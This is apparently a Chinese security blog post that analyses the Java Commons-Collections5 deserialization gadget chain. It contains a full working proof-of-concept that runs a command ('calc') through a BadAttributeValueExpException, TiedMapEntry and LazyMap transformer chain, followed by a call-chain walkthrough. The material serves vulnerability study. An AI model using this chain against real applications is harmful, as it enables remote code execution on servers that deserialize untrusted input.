java反序列化Commons-Collections5分析

Posted 2021-01-31 Afant1

BadAttributeValueException

package org.lain.poc;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import javax.management.BadAttributeValueExpException;

import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Poc {
    public static void main(String[] args) throws Exception {

        Transformer[] transformers = new Transformer[] {
                //传入Runtime类
                new ConstantTransformer(Runtime.class),
                //反射调用getMethod方法，然后getMethod方法再反射调用getRuntime方法，返回Runtime.getRuntime()方法
                new InvokerTransformer("getMethod",
                        new Class[] {String.class, Class[].class },
                        new Object[] {"getRuntime", new Class[0] }),
                //反射调用invoke方法，然后反射执行Runtime.getRuntime()方法，返回Runtime实例化对象
                new InvokerTransformer("invoke",
                        new Class[] {Object.class, Object[].class },
                        new Object[] {null, new Object[0] }),
                //反射调用exec方法
                new InvokerTransformer("exec",
                        new Class[] {String.class },
                        new Object[] {"calc"})
        };

        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        //decorate实例化LazyMap类。
        // LazyMap類的get方法調用了transform,transform可以通過反射机制执行命令
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");  //TiedMapEntry中调用了toString方法->调用了map的get方法
        BadAttributeValueExpException poc = new BadAttributeValueExpException(null); //BadAttributeValueExpException的构造方法调用toString方法

//         val是私有变量，所以利用下面方法进行赋值,val变量赋值为TiedMapEntry的实例化对象,
//         重写了BadAttributeValueExpException的readObject方法的val变量赋值为BadAttributeValueExpException类，
//         就会调用BadAttributeValueExpException的val = valObj.toString();触发上面的
        Field valfield = poc.getClass().getDeclaredField("val");
//        System.out.println(valfield);
        valfield.setAccessible(true);
        valfield.set(poc, entry);

        File f = new File("poc.txt");
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
        out.writeObject(poc);
        out.close();

        //从文件中反序列化obj对象
        FileInputStream fis = new FileInputStream("poc.txt");
        ObjectInputStream ois = new ObjectInputStream(fis);
        //恢复对象
        ois.readObject();
        ois.close();

    }
}

参考链接的第一篇文章主要写的是poc怎么构造的，思路很清晰了，这篇文章从逆向分析，看下怎么反序列的。调用链如下：

BadAttributeValueException.readObject ->
TiedMapEntry.toString ->
LazyMap.get ->
ChainedTransformer.transform

执行BadAttributeValueException.readObject前，把val赋值为TiedMapEntry这个类

 Field valfield = poc.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(poc, entry);

就会调用TiedMapEntry类的toString方法。


调用getValue又调用get方法

map赋值给lazyMap

        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

这就调用了lazyMap的get方法，factory赋值为transformerChain，这就调用了transformerChain.transform(key);

transform方法

参考链接：
https://p0sec.net/index.php/archives/121/
https://lightless.me/archives/java-unserialization-apache-commons-collections.html